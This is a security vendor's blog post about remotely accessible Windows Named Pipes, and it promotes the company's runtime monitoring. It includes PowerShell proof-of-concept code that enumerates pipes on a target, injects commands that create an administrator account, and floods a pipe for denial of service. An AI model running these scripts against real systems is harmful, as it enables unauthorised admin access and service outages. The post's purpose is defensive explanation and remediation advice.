Using Runtime Monitoring to Detect the Hidden Threat of Remotely Accessible Named Pipes

At Spektion, our continuous monitoring of software behavior across thousands of products in enterprise environments has revealed a concerning pattern: remotely accessible Named Pipes are far more prevalent than most security teams realize. Our unique telemetry data shows this hidden attack surface exists in numerous commercial products, creating an urgent security risk that traditional tools miss entirely and leaving organizations exposed to this exploitable vulnerability, which is only sometimes captured in CVEs.

What exactly are Named Pipes?

Named Pipes are a Windows IPC (Inter-Process Communication) mechanism that allows processes to communicate across local or network boundaries. They’re implemented with a familiar file-like interface, making them convenient for developers, but this convenience comes with risk. Most critically, Named Pipes are remotely accessible by default when the Windows “server” service is running.

It’s worth noting that while Unix-like systems (macOS, Linux) also have “named pipes” created with mkfifo, these operate fundamentally differently from Windows Named Pipes. Unix pipes are strictly local to the system and aren’t network-accessible by default, creating a critical security distinction that Windows developers might not fully appreciate if they come from these environments.

The typical Windows Named Pipe creation pattern looks something like this:

HANDLE hPipe = CreateNamedPipeW(
    "\\\\.\\pipe\\MyPipeName",           // pipe name
    PIPE_ACCESS_DUPLEX,                  // read/write access
    PIPE_TYPE_MESSAGE |                  // message-type pipe
    PIPE_READMODE_MESSAGE |              // message-read mode
    PIPE_WAIT,                           // blocking mode
    PIPE_UNLIMITED_INSTANCES,            // unlimited instances
    BUFFER_SIZE,                         // output buffer size
    BUFFER_SIZE,                         // input buffer size
    0,                                   // client time-out
    NULL);                               // default security attributes

Notice anything concerning? The default security descriptor grants access to Everyone, including anonymous remote users! The pipe becomes accessible over the network to anyone who can reach your system.

Why security teams should care

The key issue isn’t that Named Pipes are inherently vulnerable, but rather that developers often create them with a false sense of security. Many developers assume that Named Pipes operate within a trusted security boundary (the local system), when in fact they’re exposed to network access by default.

This misconception leads to:

1. Insufficient input validation: Developers may not rigorously validate data coming from pipes, assuming it’s from trusted local processes
2. Missing authentication: Without explicit security controls, any remote user can connect to and interact with these pipes
3. Resource exhaustion vulnerabilities: Even with careful input validation, attackers can sometimes cause denial-of-service conditions by flooding pipes with large amounts of data, consuming memory and processing resources

When software reads data from remotely accessible Named Pipes without these considerations, it introduces potential vulnerabilities that can lead to:

• Data interception
• Denial of Service (DoS)
• Privilege escalation
• Remote code execution (RCE)

How attacks work in practice

Let’s look at a simple attack scenario. Imagine a service running as SYSTEM (as many do) that creates a Named Pipe and processes commands from it:

# Attack proof-of-concept
# First, discover potentially vulnerable pipes
$pipes = '\\target-machine\pipe\*'
Get-ChildItem $pipes | Select-Object Name

# Next, connect to a vulnerable pipe and send malicious payload
$pipe = New-Object System.IO.Pipes.NamedPipeClientStream("target-machine", "VulnerablePipe", System.IO.Pipes.PipeDirection.InOut)
$pipe.Connect(1000)
$writer = New-Object System.IO.StreamWriter($pipe)
$writer.WriteLine('{"cmd":"exec", "payload":"net user attacker P@ssw0rd /add & net localgroup administrators attacker /add"}')
$writer.Flush()

In this scenario, a remote attacker discovers an exposed pipe, connects to it, and injects a command that creates a new administrative user. Because the service processes these commands with SYSTEM privileges, the attack succeeds without requiring initial access to the target system.

Even if the application has robust input validation for command injection, it might still be vulnerable to resource exhaustion:

# DoS attack via resource exhaustion
$pipe = New-Object System.IO.Pipes.NamedPipeClientStream("target-machine", "VulnerablePipe", System.IO.Pipes.PipeDirection.InOut)
$pipe.Connect(1000)
$writer = New-Object System.IO.StreamWriter($pipe)

# Generate massive amounts of data to exhaust server resources
$largeData = "A" * 1000000
while($true) {
    $writer.WriteLine($largeData)
    $writer.Flush()
}

This attack could potentially cause the service to crash or become unresponsive by overwhelming its memory allocation or processing capacity.

Real-world impact: Attacks in the wild

This isn’t just theoretical. Several recent CVEs highlight the danger, with some discovered only after being exploited in the wild:

• CVE-2024-24974 affected OpenVPN services, enabling both remote code execution and local privilege escalation. This vulnerability was actively exploited before a patch was available.
• CVE-2024-25029 impacted IBM Personal Communications
• CVE-2020-8884 was found in Proofpoint Insider Threat Management Windows Agent
• CVE-2020-28912 allowed data interception via Named Pipe man-in-the-middle attacks on MariaDB

Vulnerable software categories identified

Our telemetry has identified numerous categories of commercial applications that expose Named Pipes without proper authentication, including:

• Enterprise print management systems
• PDF processing and conversion utilities
• Remote desktop and support solutions
• Development IDEs and debugging tools
• Hardware driver and support software
• Communication and collaboration platforms
• Cloud storage synchronization clients

Why traditional security tools miss this

Traditional vulnerability scanners and security tools often miss these issues for several reasons:

1. Static analysis limitations: Named Pipe vulnerabilities often manifest only at runtime when specific API calls are made with particular parameters.
2. No CVE until disclosure/exploitation: These issues aren’t typically discovered until a researcher or attacker actively exploits them, meaning traditional CVE-based approaches are inherently reactive.
3. Configuration drift: Security posture changes over time as software is updated, reconfigured, or new applications are installed—each potentially introducing vulnerable Named Pipes.
4. Boundary misconception: Security tools may not prioritize Named Pipe risks because they also operate under the misconception that pipes are local communication channels.

The power of Spektion’s runtime monitoring

Spektion’s shift-left approach fundamentally changes how we identify these risks before they become exploitable vulnerabilities. Rather than waiting for vulnerability disclosures or conducting point-in-time assessments, our continuous runtime monitoring:

1. Identifies risky patterns before exploitation: By monitoring CreateNamedPipe API calls and analyzing their parameters and security descriptors, we instantly flag pipes accessible to remote users—before attackers discover them.
2. Maps your actual attack surface: Rather than theoretical vulnerabilities, Spektion shows your actual exposure based on running software, identifying the specific applications creating these risky pipes.
3. Provides actionable remediation insights: Instead of just alerting on vulnerable pipes, we identify the specific software responsible, enabling targeted mitigation strategies.
4. Detects zero-days before disclosure: By monitoring behavior patterns, we can identify potential exploitation attempts before public disclosure.

Our proactive approach not only identifies vulnerable software but provides security teams with the context they need to prioritize remediation efforts based on real risk rather than theoretical vulnerabilities.

Detection and remediation

For security teams using Spektion, our platform automatically identifies applications that create remotely accessible Named Pipes, providing immediate visibility into this often-overlooked attack surface. If your organization develops software internally, we recommend providing your development teams with secure coding guidelines that include:

1. Using the PIPE_REJECT_REMOTE_CLIENTS flag whenever possible
2. Implementing proper authentication for any Named Pipes
3. Treating all data from Named Pipes as potentially malicious, with rigorous input validation
4. Implementing resource consumption limits to prevent DoS conditions

For security teams without runtime monitoring capabilities, this risk presents a significant blind spot that’s difficult to address with traditional tools.

Conclusion

Named Pipes represent a perfect example of how runtime monitoring identifies risks that traditional approaches simply can’t see. By shifting security left and continuously evaluating software behavior, Spektion empowers security teams to identify and remediate these hidden threats before they become the next in-the-wild exploit.

The security implications for enterprises cannot be overstated—in an era where attackers increasingly exploit obscure attack vectors like Named Pipes, security teams require comprehensive visibility that traditional vulnerability management simply cannot deliver. While most security tools focus on known CVEs and signature-based detection, Spektion’s runtime monitoring provides the missing layer that identifies actual risk exposure from live systems. This approach doesn’t just complement existing security stacks—it fundamentally transforms how teams prioritize remediation efforts by focusing on actual attack surface rather than theoretical vulnerabilities. By implementing Spektion, security teams move from reactive firefighting to proactive risk management, reducing exposure windows and preventing the next major breach before it occurs.

The next time you evaluate your organization’s attack surface, consider whether you have visibility into the Named Pipes your software is creating—and whether those pipes might be exposing your most sensitive systems to remote attackers due to a misunderstood security boundary.

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